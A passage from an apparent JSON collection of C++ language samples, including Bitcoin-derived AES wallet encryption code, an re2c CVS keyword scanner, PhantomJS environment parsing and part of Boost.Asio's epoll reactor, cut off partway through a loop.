    "path": "samples/C++/constexpr_header.h",
    "content": "constexpr double VERSION_NUMBER {1.2};\n\nconstexpr int FRAME_RATE {60};\nconstexpr int MIN_FRAME_RATE {30};\n"
  },
  {
    "path": "samples/C++/crypter.cpp",
    "content": "// Copyright (c) 2009-2012 The Bitcoin Developers\n// Distributed under the MIT/X11 software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n// Source - https://github.com/Bradfrogger/Marvelous/blob/master/src/crypter.cpp\n\n#include <openssl/aes.h>\n#include <openssl/evp.h>\n#include <vector>\n#include <string>\n#ifdef WIN32\n#include <windows.h>\n#endif\n\n#include \"crypter.h\"\n\nbool CCrypter::SetKeyFromPassphrase(const SecureString& strKeyData, const std::vector<unsigned char>& chSalt, const unsigned int nRounds, const unsigned int nDerivationMethod)\n{\n    if (nRounds < 1 || chSalt.size() != WALLET_CRYPTO_SALT_SIZE)\n        return false;\n\n    int i = 0;\n    if (nDerivationMethod == 0)\n        i = EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha512(), &chSalt[0],\n                          (unsigned char *)&strKeyData[0], strKeyData.size(), nRounds, chKey, chIV);\n\n    if (i != (int)WALLET_CRYPTO_KEY_SIZE)\n    {\n        OPENSSL_cleanse(chKey, sizeof(chKey));\n        OPENSSL_cleanse(chIV, sizeof(chIV));\n        return false;\n    }\n\n    fKeySet = true;\n    return true;\n}\n\nbool CCrypter::SetKey(const CKeyingMaterial& chNewKey, const std::vector<unsigned char>& chNewIV)\n{\n    if (chNewKey.size() != WALLET_CRYPTO_KEY_SIZE || chNewIV.size() != WALLET_CRYPTO_KEY_SIZE)\n        return false;\n\n    memcpy(&chKey[0], &chNewKey[0], sizeof chKey);\n    memcpy(&chIV[0], &chNewIV[0], sizeof chIV);\n\n    fKeySet = true;\n    return true;\n}\n\nbool CCrypter::Encrypt(const CKeyingMaterial& vchPlaintext, std::vector<unsigned char> &vchCiphertext)\n{\n    if (!fKeySet)\n        return false;\n\n    // max ciphertext len for a n bytes of plaintext is\n    // n + AES_BLOCK_SIZE - 1 bytes\n    int nLen = vchPlaintext.size();\n    int nCLen = nLen + AES_BLOCK_SIZE, nFLen = 0;\n    vchCiphertext = std::vector<unsigned char> (nCLen);\n\n    EVP_CIPHER_CTX ctx;\n\n    bool fOk = true;\n\n    EVP_CIPHER_CTX_init(&ctx);\n    if (fOk) fOk = EVP_EncryptInit_ex(&ctx, EVP_aes_256_cbc(), NULL, chKey, chIV);\n    if (fOk) fOk = EVP_EncryptUpdate(&ctx, &vchCiphertext[0], &nCLen, &vchPlaintext[0], nLen);\n    if (fOk) fOk = EVP_EncryptFinal_ex(&ctx, (&vchCiphertext[0])+nCLen, &nFLen);\n    EVP_CIPHER_CTX_cleanup(&ctx);\n\n    if (!fOk) return false;\n\n    vchCiphertext.resize(nCLen + nFLen);\n    return true;\n}\n\nbool CCrypter::Decrypt(const std::vector<unsigned char>& vchCiphertext, CKeyingMaterial& vchPlaintext)\n{\n    if (!fKeySet)\n        return false;\n\n    // plaintext will always be equal to or lesser than length of ciphertext\n    int nLen = vchCiphertext.size();\n    int nPLen = nLen, nFLen = 0;\n\n    vchPlaintext = CKeyingMaterial(nPLen);\n\n    EVP_CIPHER_CTX ctx;\n\n    bool fOk = true;\n\n    EVP_CIPHER_CTX_init(&ctx);\n    if (fOk) fOk = EVP_DecryptInit_ex(&ctx, EVP_aes_256_cbc(), NULL, chKey, chIV);\n    if (fOk) fOk = EVP_DecryptUpdate(&ctx, &vchPlaintext[0], &nPLen, &vchCiphertext[0], nLen);\n    if (fOk) fOk = EVP_DecryptFinal_ex(&ctx, (&vchPlaintext[0])+nPLen, &nFLen);\n    EVP_CIPHER_CTX_cleanup(&ctx);\n\n    if (!fOk) return false;\n\n    vchPlaintext.resize(nPLen + nFLen);\n    return true;\n}\n\n\nbool EncryptSecret(const CKeyingMaterial& vMasterKey, const CKeyingMaterial &vchPlaintext, const uint256& nIV, std::vector<unsigned char> &vchCiphertext)\n{\n    CCrypter cKeyCrypter;\n    std::vector<unsigned char> chIV(WALLET_CRYPTO_KEY_SIZE);\n    memcpy(&chIV[0], &nIV, WALLET_CRYPTO_KEY_SIZE);\n    if(!cKeyCrypter.SetKey(vMasterKey, chIV))\n        return false;\n    return cKeyCrypter.Encrypt(*((const CKeyingMaterial*)&vchPlaintext), vchCiphertext);\n}\n\nbool DecryptSecret(const CKeyingMaterial& vMasterKey, const std::vector<unsigned char>& vchCiphertext, const uint256& nIV, CKeyingMaterial& vchPlaintext)\n{\n    CCrypter cKeyCrypter;\n    std::vector<unsigned char> chIV(WALLET_CRYPTO_KEY_SIZE);\n    memcpy(&chIV[0], &nIV, WALLET_CRYPTO_KEY_SIZE);\n    if(!cKeyCrypter.SetKey(vMasterKey, chIV))\n        return false;\n    return cKeyCrypter.Decrypt(vchCiphertext, *((CKeyingMaterial*)&vchPlaintext));\n}\n"
  },
  {
    "path": "samples/C++/cvsignore.re",
    "content": "\n#define YYFILL(n) if (cursor >= limit) break;\n#define YYCTYPE char\n#define YYCURSOR cursor\n#define YYLIMIT limit\n#define YYMARKER marker\n\n/*!re2c\nany     = (.|\"\\n\");\nvalue\t= (\":\" (.\\\"$\")+)?;\ncvsdat\t= \"Date\";\ncvsid\t= \"Id\";\ncvslog\t= \"Log\";\ncvsrev\t= \"Revision\";\ncvssrc\t= \"Source\";\n*/\n\n#define APPEND(text) \\\n\tappend(output, outsize, text, sizeof(text) - sizeof(YYCTYPE))\n\ninline void append(YYCTYPE *output, size_t & outsize, const YYCTYPE * text, size_t len)\n{\n\tmemcpy(output + outsize, text, len);\n\toutsize += (len / sizeof(YYCTYPE));\n}\n\nvoid scan(YYCTYPE *pText, size_t *pSize, int *pbChanged)\n{\n\t// rule\n\t// scan lines\n\t// find $ in lines\n\t//   compact $<keyword>: .. $ to $<keyword>$\n  \n\tYYCTYPE *output;\n\tconst YYCTYPE *cursor, *limit, *marker;\n\n\tcursor = marker = output = *pText;\n\n\tsize_t insize = *pSize;\n\tsize_t outsize = 0;\n\n\tlimit = cursor + insize;\n\n\twhile(1) {\nloop:\n/*!re2c\n\n\"$\" cvsdat value \"$\"\t{ APPEND(L\"$\" L\"Date$\"); goto loop; }\n\"$\" cvsid  value \"$\"\t{ APPEND(L\"$\" L\"Id$\"); goto loop; }\n\"$\" cvslog value \"$\"\t{ APPEND(L\"$\" L\"Log$\"); goto loop; }\n\"$\" cvsrev value \"$\"\t{ APPEND(L\"$\" L\"Revision$\"); goto loop; }\n\"$\" cvssrc value \"$\"\t{ APPEND(L\"$\" L\"Source$\"); goto loop; }\nany\t\t\t\t\t\t{ output[outsize++] = cursor[-1]; if (cursor >= limit) break; goto loop; }\n\n*/\n\t}\n\toutput[outsize] = '\\0';\n\n\t// set the new size\n\t*pSize = outsize;\n\t\n\t*pbChanged = (insize == outsize) ? 0 : 1;\n}\n"
  },
  {
    "path": "samples/C++/env.cpp",
    "content": "/*\n  This file is part of the PhantomJS project from Ofi Labs.\n\n  Copyright (C) 2012 execjosh, http://execjosh.blogspot.com\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and/or other materials provided with the distribution.\n    * Neither the name of the <organization> nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n  ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\n  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n  THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#include \"env.h\"\n\n#include <QCoreApplication>\n#include <QString>\n#include <QVariantMap>\n\nstatic Env *env_instance = (Env *)NULL;\n\nEnv *Env::instance()\n{\n    if ((Env *)NULL == env_instance)\n        env_instance = new Env();\n\n    return env_instance;\n}\n\nEnv::Env()\n    : QObject(QCoreApplication::instance())\n{\n}\n\n// public:\n\nvoid Env::parse(const char **envp)\n{\n    const char **env = (const char **)NULL;\n    QString envvar, name, value;\n    int indexOfEquals;\n    // Loop for each of the <NAME>=<VALUE> pairs and split them into a map\n    for (env = envp; *env != (const char *)NULL; env++) {\n        envvar = QString(*env);\n        indexOfEquals = envvar.indexOf('=');\n        if (0 >= indexOfEquals) {\n            // Should never happen because names cannot contain \"=\" and cannot\n            // be empty. If it does happen, then just ignore this record.\n            // See: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap08.html\n            continue;\n        }\n        // Extract name and value (if it exists) from envvar\n        // NOTE:\n        //  QString::mid() will gracefully return an empty QString when the\n        //  specified position index is >= the length() of the string\n        name = envvar.left(indexOfEquals);\n        value = envvar.mid(indexOfEquals + 1);\n        m_map.insert(name, value);\n    }\n}\n\nQVariantMap Env::asVariantMap() const\n{\n    return m_map;\n}\n"
  },
  {
    "path": "samples/C++/env.h",
    "content": "/*\n  This file is part of the PhantomJS project from Ofi Labs.\n\n  Copyright (C) 2012 execjosh, http://execjosh.blogspot.com\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and/or other materials provided with the distribution.\n    * Neither the name of the <organization> nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n  ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\n  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n  THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#ifndef ENV_H\n#define ENV_H\n\n#include <QObject>\n#include <QVariantMap>\n\nclass Env : public QObject\n{\n    Q_OBJECT\n\npublic:\n    static Env *instance();\n\n    void parse(const char ** envp);\n    QVariantMap asVariantMap() const;\n\nprivate:\n    Env();\n\n    QVariantMap m_map;\n};\n\n#endif // ENV_H\n"
  },
  {
    "path": "samples/C++/epoll_reactor.ipp",
    "content": "//\n// detail/impl/epoll_reactor.ipp\n// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n//\n// Copyright (c) 2003-2013 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#ifndef BOOST_ASIO_DETAIL_IMPL_EPOLL_REACTOR_IPP\n#define BOOST_ASIO_DETAIL_IMPL_EPOLL_REACTOR_IPP\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1200)\n# pragma once\n#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)\n\n#include <boost/asio/detail/config.hpp>\n\n#if defined(BOOST_ASIO_HAS_EPOLL)\n\n#include <cstddef>\n#include <sys/epoll.h>\n#include <boost/asio/detail/epoll_reactor.hpp>\n#include <boost/asio/detail/throw_error.hpp>\n#include <boost/asio/error.hpp>\n\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n# include <sys/timerfd.h>\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n\n#include <boost/asio/detail/push_options.hpp>\n\nnamespace boost {\nnamespace asio {\nnamespace detail {\n\nepoll_reactor::epoll_reactor(boost::asio::io_service& io_service)\n  : boost::asio::detail::service_base<epoll_reactor>(io_service),\n    io_service_(use_service<io_service_impl>(io_service)),\n    mutex_(),\n    interrupter_(),\n    epoll_fd_(do_epoll_create()),\n    timer_fd_(do_timerfd_create()),\n    shutdown_(false)\n{\n  // Add the interrupter's descriptor to epoll.\n  epoll_event ev = { 0, { 0 } };\n  ev.events = EPOLLIN | EPOLLERR | EPOLLET;\n  ev.data.ptr = &interrupter_;\n  epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, interrupter_.read_descriptor(), &ev);\n  interrupter_.interrupt();\n\n  // Add the timer descriptor to epoll.\n  if (timer_fd_ != -1)\n  {\n    ev.events = EPOLLIN | EPOLLERR;\n    ev.data.ptr = &timer_fd_;\n    epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, timer_fd_, &ev);\n  }\n}\n\nepoll_reactor::~epoll_reactor()\n{\n  if (epoll_fd_ != -1)\n    close(epoll_fd_);\n  if (timer_fd_ != -1)\n    close(timer_fd_);\n}\n\nvoid epoll_reactor::shutdown_service()\n{\n  mutex::scoped_lock lock(mutex_);\n  shutdown_ = true;\n  lock.unlock();\n\n  op_queue<operation> ops;\n\n  while (descriptor_state* state = registered_descriptors_.first())\n  {\n    for (int i = 0; i < max_ops; ++i)\n      ops.push(state->op_queue_[i]);\n    state->shutdown_ = true;\n    registered_descriptors_.free(state);\n  }\n\n  timer_queues_.get_all_timers(ops);\n\n  io_service_.abandon_operations(ops);\n}\n\nvoid epoll_reactor::fork_service(boost::asio::io_service::fork_event fork_ev)\n{\n  if (fork_ev == boost::asio::io_service::fork_child)\n  {\n    if (epoll_fd_ != -1)\n      ::close(epoll_fd_);\n    epoll_fd_ = -1;\n    epoll_fd_ = do_epoll_create();\n\n    if (timer_fd_ != -1)\n      ::close(timer_fd_);\n    timer_fd_ = -1;\n    timer_fd_ = do_timerfd_create();\n\n    interrupter_.recreate();\n\n    // Add the interrupter's descriptor to epoll.\n    epoll_event ev = { 0, { 0 } };\n    ev.events = EPOLLIN | EPOLLERR | EPOLLET;\n    ev.data.ptr = &interrupter_;\n    epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, interrupter_.read_descriptor(), &ev);\n    interrupter_.interrupt();\n\n    // Add the timer descriptor to epoll.\n    if (timer_fd_ != -1)\n    {\n      ev.events = EPOLLIN | EPOLLERR;\n      ev.data.ptr = &timer_fd_;\n      epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, timer_fd_, &ev);\n    }\n\n    update_timeout();\n\n    // Re-register all descriptors with epoll.\n    mutex::scoped_lock descriptors_lock(registered_descriptors_mutex_);\n    for (descriptor_state* state = registered_descriptors_.first();\n        state != 0; state = state->next_)\n    {\n      ev.events = state->registered_events_;\n      ev.data.ptr = state;\n      int result = epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, state->descriptor_, &ev);\n      if (result != 0)\n      {\n        boost::system::error_code ec(errno,\n            boost::asio::error::get_system_category());\n        boost::asio::detail::throw_error(ec, \"epoll re-registration\");\n      }\n    }\n  }\n}\n\nvoid epoll_reactor::init_task()\n{\n  io_service_.init_task();\n}\n\nint epoll_reactor::register_descriptor(socket_type descriptor,\n    epoll_reactor::per_descriptor_data& descriptor_data)\n{\n  descriptor_data = allocate_descriptor_state();\n\n  {\n    mutex::scoped_lock descriptor_lock(descriptor_data->mutex_);\n\n    descriptor_data->reactor_ = this;\n    descriptor_data->descriptor_ = descriptor;\n    descriptor_data->shutdown_ = false;\n  }\n\n  epoll_event ev = { 0, { 0 } };\n  ev.events = EPOLLIN | EPOLLERR | EPOLLHUP | EPOLLPRI | EPOLLET;\n  descriptor_data->registered_events_ = ev.events;\n  ev.data.ptr = descriptor_data;\n  int result = epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, descriptor, &ev);\n  if (result != 0)\n    return errno;\n\n  return 0;\n}\n\nint epoll_reactor::register_internal_descriptor(\n    int op_type, socket_type descriptor,\n    epoll_reactor::per_descriptor_data& descriptor_data, reactor_op* op)\n{\n  descriptor_data = allocate_descriptor_state();\n\n  {\n    mutex::scoped_lock descriptor_lock(descriptor_data->mutex_);\n\n    descriptor_data->reactor_ = this;\n    descriptor_data->descriptor_ = descriptor;\n    descriptor_data->shutdown_ = false;\n    descriptor_data->op_queue_[op_type].push(op);\n  }\n\n  epoll_event ev = { 0, { 0 } };\n  ev.events = EPOLLIN | EPOLLERR | EPOLLHUP | EPOLLPRI | EPOLLET;\n  descriptor_data->registered_events_ = ev.events;\n  ev.data.ptr = descriptor_data;\n  int result = epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, descriptor, &ev);\n  if (result != 0)\n    return errno;\n\n  return 0;\n}\n\nvoid epoll_reactor::move_descriptor(socket_type,\n    epoll_reactor::per_descriptor_data& target_descriptor_data,\n    epoll_reactor::per_descriptor_data& source_descriptor_data)\n{\n  target_descriptor_data = source_descriptor_data;\n  source_descriptor_data = 0;\n}\n\nvoid epoll_reactor::start_op(int op_type, socket_type descriptor,\n    epoll_reactor::per_descriptor_data& descriptor_data, reactor_op* op,\n    bool is_continuation, bool allow_speculative)\n{\n  if (!descriptor_data)\n  {\n    op->ec_ = boost::asio::error::bad_descriptor;\n    post_immediate_completion(op, is_continuation);\n    return;\n  }\n\n  mutex::scoped_lock descriptor_lock(descriptor_data->mutex_);\n\n  if (descriptor_data->shutdown_)\n  {\n    post_immediate_completion(op, is_continuation);\n    return;\n  }\n\n  if (descriptor_data->op_queue_[op_type].empty())\n  {\n    if (allow_speculative\n        && (op_type != read_op\n          || descriptor_data->op_queue_[except_op].empty()))\n    {\n      if (op->perform())\n      {\n        descriptor_lock.unlock();\n        io_service_.post_immediate_completion(op, is_continuation);\n        return;\n      }\n\n      if (op_type == write_op)\n      {\n        if ((descriptor_data->registered_events_ & EPOLLOUT) == 0)\n        {\n          epoll_event ev = { 0, { 0 } };\n          ev.events = descriptor_data->registered_events_ | EPOLLOUT;\n          ev.data.ptr = descriptor_data;\n          if (epoll_ctl(epoll_fd_, EPOLL_CTL_MOD, descriptor, &ev) == 0)\n          {\n            descriptor_data->registered_events_ |= ev.events;\n          }\n          else\n          {\n            op->ec_ = boost::system::error_code(errno,\n                boost::asio::error::get_system_category());\n            io_service_.post_immediate_completion(op, is_continuation);\n            return;\n          }\n        }\n      }\n    }\n    else\n    {\n      if (op_type == write_op)\n      {\n        descriptor_data->registered_events_ |= EPOLLOUT;\n      }\n\n      epoll_event ev = { 0, { 0 } };\n      ev.events = descriptor_data->registered_events_;\n      ev.data.ptr = descriptor_data;\n      epoll_ctl(epoll_fd_, EPOLL_CTL_MOD, descriptor, &ev);\n    }\n  }\n\n  descriptor_data->op_queue_[op_type].push(op);\n  io_service_.work_started();\n}\n\nvoid epoll_reactor::cancel_ops(socket_type,\n    epoll_reactor::per_descriptor_data& descriptor_data)\n{\n  if (!descriptor_data)\n    return;\n\n  mutex::scoped_lock descriptor_lock(descriptor_data->mutex_);\n\n  op_queue<operation> ops;\n  for (int i = 0; i < max_ops; ++i)\n  {\n    while (reactor_op* op = descriptor_data->op_queue_[i].front())\n    {\n      op->ec_ = boost::asio::error::operation_aborted;\n      descriptor_data->op_queue_[i].pop();\n      ops.push(op);\n    }\n  }\n\n  descriptor_lock.unlock();\n\n  io_service_.post_deferred_completions(ops);\n}\n\nvoid epoll_reactor::deregister_descriptor(socket_type descriptor,\n    epoll_reactor::per_descriptor_data& descriptor_data, bool closing)\n{\n  if (!descriptor_data)\n    return;\n\n  mutex::scoped_lock descriptor_lock(descriptor_data->mutex_);\n\n  if (!descriptor_data->shutdown_)\n  {\n    if (closing)\n    {\n      // The descriptor will be automatically removed from the epoll set when\n      // it is closed.\n    }\n    else\n    {\n      epoll_event ev = { 0, { 0 } };\n      epoll_ctl(epoll_fd_, EPOLL_CTL_DEL, descriptor, &ev);\n    }\n\n    op_queue<operation> ops;\n    for (int i = 0; i < max_ops; ++i)\n    {\n      while (reactor_op* op = descriptor_data->op_queue_[i].front())\n      {\n        op->ec_ = boost::asio::error::operation_aborted;\n        descriptor_data->op_queue_[i].pop();\n        ops.push(op);\n      }\n    }\n\n    descriptor_data->descriptor_ = -1;\n    descriptor_data->shutdown_ = true;\n\n    descriptor_lock.unlock();\n\n    free_descriptor_state(descriptor_data);\n    descriptor_data = 0;\n\n    io_service_.post_deferred_completions(ops);\n  }\n}\n\nvoid epoll_reactor::deregister_internal_descriptor(socket_type descriptor,\n    epoll_reactor::per_descriptor_data& descriptor_data)\n{\n  if (!descriptor_data)\n    return;\n\n  mutex::scoped_lock descriptor_lock(descriptor_data->mutex_);\n\n  if (!descriptor_data->shutdown_)\n  {\n    epoll_event ev = { 0, { 0 } };\n    epoll_ctl(epoll_fd_, EPOLL_CTL_DEL, descriptor, &ev);\n\n    op_queue<operation> ops;\n    for (int i = 0; i < max_ops; ++i)\n      ops.push(descriptor_data->op_queue_[i]);\n\n    descriptor_data->descriptor_ = -1;\n    descriptor_data->shutdown_ = true;\n\n    descriptor_lock.unlock();\n\n    free_descriptor_state(descriptor_data);\n    descriptor_data = 0;\n  }\n}\n\nvoid epoll_reactor::run(bool block, op_queue<operation>& ops)\n{\n  // This code relies on the fact that the task_io_service queues the reactor\n  // task behind all descriptor operations generated by this function. This\n  // means, that by the time we reach this point, any previously returned\n  // descriptor operations have already been dequeued. Therefore it is now safe\n  // for us to reuse and return them for the task_io_service to queue again.\n\n  // Calculate a timeout only if timerfd is not used.\n  int timeout;\n  if (timer_fd_ != -1)\n    timeout = block ? -1 : 0;\n  else\n  {\n    mutex::scoped_lock lock(mutex_);\n    timeout = block ? get_timeout() : 0;\n  }\n\n  // Block on the epoll descriptor.\n  epoll_event events[128];\n  int num_events = epoll_wait(epoll_fd_, events, 128, timeout);\n\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n  bool check_timers = (timer_fd_ == -1);\n#else // defined(BOOST_ASIO_HAS_TIMERFD)\n  bool check_timers = true;\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n\n  // Dispatch the waiting events.\n  for (int i = 0; i < num_events; ++i)\n  {\n    void* ptr = events[i].data.ptr;\n    if (ptr == &interrupter_)\n    {\n      // No need to reset the interrupter since we're leaving the descriptor\n      // in a ready-to-read state and relying on edge-triggered notifications\n      // to make it so that we only get woken up when the descriptor's epoll\n      // registration is updated.\n\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n      if (timer_fd_ == -1)\n        check_timers = true;\n#else // defined(BOOST_ASIO_HAS_TIMERFD)\n      check_timers = true;\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n    }\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n    else if (ptr == &timer_fd_)\n    {\n      check_timers = true;\n    }\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n    else\n    {\n      // The descriptor operation doesn't count as work in and of itself, so we\n      // don't call work_started() here. This still allows the io_service to\n      // stop if the only remaining operations are descriptor operations.\n      descriptor_state* descriptor_data = static_cast<descriptor_state*>(ptr);\n      descriptor_data->set_ready_events(events[i].events);\n      ops.push(descriptor_data);\n    }\n  }\n\n  if (check_timers)\n  {\n    mutex::scoped_lock common_lock(mutex_);\n    timer_queues_.get_ready_timers(ops);\n\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n    if (timer_fd_ != -1)\n    {\n      itimerspec new_timeout;\n      itimerspec old_timeout;\n      int flags = get_timeout(new_timeout);\n      timerfd_settime(timer_fd_, flags, &new_timeout, &old_timeout);\n    }\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n  }\n}\n\nvoid epoll_reactor::interrupt()\n{\n  epoll_event ev = { 0, { 0 } };\n  ev.events = EPOLLIN | EPOLLERR | EPOLLET;\n  ev.data.ptr = &interrupter_;\n  epoll_ctl(epoll_fd_, EPOLL_CTL_MOD, interrupter_.read_descriptor(), &ev);\n}\n\nint epoll_reactor::do_epoll_create()\n{\n#if defined(EPOLL_CLOEXEC)\n  int fd = epoll_create1(EPOLL_CLOEXEC);\n#else // defined(EPOLL_CLOEXEC)\n  int fd = -1;\n  errno = EINVAL;\n#endif // defined(EPOLL_CLOEXEC)\n\n  if (fd == -1 && (errno == EINVAL || errno == ENOSYS))\n  {\n    fd = epoll_create(epoll_size);\n    if (fd != -1)\n      ::fcntl(fd, F_SETFD, FD_CLOEXEC);\n  }\n\n  if (fd == -1)\n  {\n    boost::system::error_code ec(errno,\n        boost::asio::error::get_system_category());\n    boost::asio::detail::throw_error(ec, \"epoll\");\n  }\n\n  return fd;\n}\n\nint epoll_reactor::do_timerfd_create()\n{\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n# if defined(TFD_CLOEXEC)\n  int fd = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);\n# else // defined(TFD_CLOEXEC)\n  int fd = -1;\n  errno = EINVAL;\n# endif // defined(TFD_CLOEXEC)\n\n  if (fd == -1 && errno == EINVAL)\n  {\n    fd = timerfd_create(CLOCK_MONOTONIC, 0);\n    if (fd != -1)\n      ::fcntl(fd, F_SETFD, FD_CLOEXEC);\n  }\n\n  return fd;\n#else // defined(BOOST_ASIO_HAS_TIMERFD)\n  return -1;\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n}\n\nepoll_reactor::descriptor_state* epoll_reactor::allocate_descriptor_state()\n{\n  mutex::scoped_lock descriptors_lock(registered_descriptors_mutex_);\n  return registered_descriptors_.alloc();\n}\n\nvoid epoll_reactor::free_descriptor_state(epoll_reactor::descriptor_state* s)\n{\n  mutex::scoped_lock descriptors_lock(registered_descriptors_mutex_);\n  registered_descriptors_.free(s);\n}\n\nvoid epoll_reactor::do_add_timer_queue(timer_queue_base& queue)\n{\n  mutex::scoped_lock lock(mutex_);\n  timer_queues_.insert(&queue);\n}\n\nvoid epoll_reactor::do_remove_timer_queue(timer_queue_base& queue)\n{\n  mutex::scoped_lock lock(mutex_);\n  timer_queues_.erase(&queue);\n}\n\nvoid epoll_reactor::update_timeout()\n{\n#if defined(BOOST_ASIO_HAS_TIMERFD)\n  if (timer_fd_ != -1)\n  {\n    itimerspec new_timeout;\n    itimerspec old_timeout;\n    int flags = get_timeout(new_timeout);\n    timerfd_settime(timer_fd_, flags, &new_timeout, &old_timeout);\n    return;\n  }\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n  interrupt();\n}\n\nint epoll_reactor::get_timeout()\n{\n  // By default we will wait no longer than 5 minutes. This will ensure that\n  // any changes to the system clock are detected after no longer than this.\n  return timer_queues_.wait_duration_msec(5 * 60 * 1000);\n}\n\n#if defined(BOOST_ASIO_HAS_TIMERFD)\nint epoll_reactor::get_timeout(itimerspec& ts)\n{\n  ts.it_interval.tv_sec = 0;\n  ts.it_interval.tv_nsec = 0;\n\n  long usec = timer_queues_.wait_duration_usec(5 * 60 * 1000 * 1000);\n  ts.it_value.tv_sec = usec / 1000000;\n  ts.it_value.tv_nsec = usec ? (usec % 1000000) * 1000 : 1;\n\n  return usec ? 0 : TFD_TIMER_ABSTIME;\n}\n#endif // defined(BOOST_ASIO_HAS_TIMERFD)\n\nstruct epoll_reactor::perform_io_cleanup_on_block_exit\n{\n  explicit perform_io_cleanup_on_block_exit(epoll_reactor* r)\n    : reactor_(r), first_op_(0)\n  {\n  }\n\n  ~perform_io_cleanup_on_block_exit()\n  {\n    if (first_op_)\n    {\n      // Post the remaining completed operations for invocation.\n      if (!ops_.empty())\n        reactor_->io_service_.post_deferred_completions(ops_);\n\n      // A user-initiated operation has completed, but there's no need to\n      // explicitly call work_finished() here. Instead, we'll take advantage of\n      // the fact that the task_io_service will call work_finished() once we\n      // return.\n    }\n    else\n    {\n      // No user-initiated operations have completed, so we need to compensate\n      // for the work_finished() call that the task_io_service will make once\n      // this operation returns.\n      reactor_->io_service_.work_started();\n    }\n  }\n\n  epoll_reactor* reactor_;\n  op_queue<operation> ops_;\n  operation* first_op_;\n};\n\nepoll_reactor::descriptor_state::descriptor_state()\n  : operation(&epoll_reactor::descriptor_state::do_complete)\n{\n}\n\noperation* epoll_reactor::descriptor_state::perform_io(uint32_t events)\n{\n  mutex_.lock();\n  perform_io_cleanup_on_block_exit io_cleanup(reactor_);\n  mutex::scoped_lock descriptor_lock(mutex_, mutex::scoped_lock::adopt_lock);\n\n  // Exception operations must be processed first to ensure that any\n  // out-of-band data is read before normal data.\n  static const int flag[max_ops] = { EPOLLIN, EPOLLOUT, EPOLLPRI };\n  for (int j = max_ops - 1; j >= 0; --j)\n  {\n    if (events & (flag[j] | EPOLLERR | EPOLLHUP))\n    {\n      while (reactor_op* op = op_queue_[j].front())\n      